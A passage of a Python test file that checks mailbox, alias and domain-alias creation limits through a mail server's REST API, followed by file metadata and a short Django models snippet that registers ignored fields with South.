"""Check mailbox aliases limit.""" self.client.credentials( HTTP_AUTHORIZATION='Token ' + self.da_token.key) limit = self.user.userobjectlimit_set.get(name="mailbox_aliases") url = reverse("external_api:alias-list") data = { "address": "alias_fromapi@test.com", "recipients": [ "user@test.com", "postmaster@test.com", "user_éé@nonlocal.com" ] } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertFalse(limit.is_exceeded()) data["address"] = "alias_fromapi2@test.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertTrue(limit.is_exceeded()) data["address"] = "alias_fromapi3@test.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 400) class APIDomainLimitsTestCase(lib_tests.ModoAPITestCase): """Check that limits are used also by the API.""" @classmethod def setUpTestData(cls): """Create test data.""" super(APIDomainLimitsTestCase, cls).setUpTestData() parameters.save_admin("ENABLE_DOMAIN_LIMITS", "yes") for name, tpl in utils.get_domain_limit_templates(): parameters.save_admin( "DEFLT_DOMAIN_{}_LIMIT".format(name.upper()), 2) populate_database() def test_mailboxes_limit(self): """Check mailboxes limit.""" domain = Domain.objects.get(name="test.com") limit = domain.domainobjectlimit_set.get(name="mailboxes") self.assertTrue(limit.is_exceeded()) url = reverse("external_api:account-list") data = { "username": "fromapi@test.com", "role": "SimpleUsers", "password": "Toto1234", "mailbox": { "full_address": "fromapi@test.com", "quota": 10 } } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 400) def test_domain_aliases_limit(self): """Check domain_aliases limit.""" domain = Domain.objects.get(name="test.com") limit = domain.domainobjectlimit_set.get(name="domain_aliases") url = reverse("external_api:domain_alias-list") data = {"name": "dalias1.com", "target": domain.pk} response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) data["name"] = "dalias2.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertTrue(limit.is_exceeded()) data["name"] = "dalias3.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 400) def test_mailbox_aliases_limit(self): """Check mailbox_aliases limit.""" domain = Domain.objects.get(name="test.com") limit = domain.domainobjectlimit_set.get(name="mailbox_aliases") self.assertTrue(limit.is_exceeded()) url = reverse("external_api:alias-list") data = { "address": "alias_fromapi@test.com", "recipients": [ "user@test.com", "postmaster@test.com", "user_éé@nonlocal.com" ] } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 400)

39.382353

78

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0.126558

0.031969

0.066397

0.062709

0.835412

0.805024

0.762164

0.739329

0.720183

0.708765

0

0.01482

0.244105

9,373

237

79

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0.040862

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0.038436

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1

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false

0.020942

0.04712

0

0.109948

0

null

0

1

0

null

0

6

5d3aa2b24de34ed5c43724015ce47ad1e4d045bc

199

py

Python

taggit_autosuggest_select2/models.py

iris-edu-int/django-taggit-autosuggest-select2

280cd312e76b042d66eb32fe21020e37e1830343

[ "MIT" ]

1

2017-07-10T19:58:55.000Z

taggit_autosuggest_select2/models.py

iris-edu-int/django-taggit-autosuggest-select2

280cd312e76b042d66eb32fe21020e37e1830343

[ "MIT" ]

null

taggit_autosuggest_select2/models.py

iris-edu-int/django-taggit-autosuggest-select2

280cd312e76b042d66eb32fe21020e37e1830343

[ "MIT" ]

null

try: from south.modelsinspector import add_ignored_fields add_ignored_fields(["^taggit_autosuggest_select2\.managers"]) except ImportError: pass # without south this can fail silently

28.428571

65

0.778894

24

199

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0.214765

0

0.005952

0.155779

199

6

66

33.166667

0.880952

0.180905

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true

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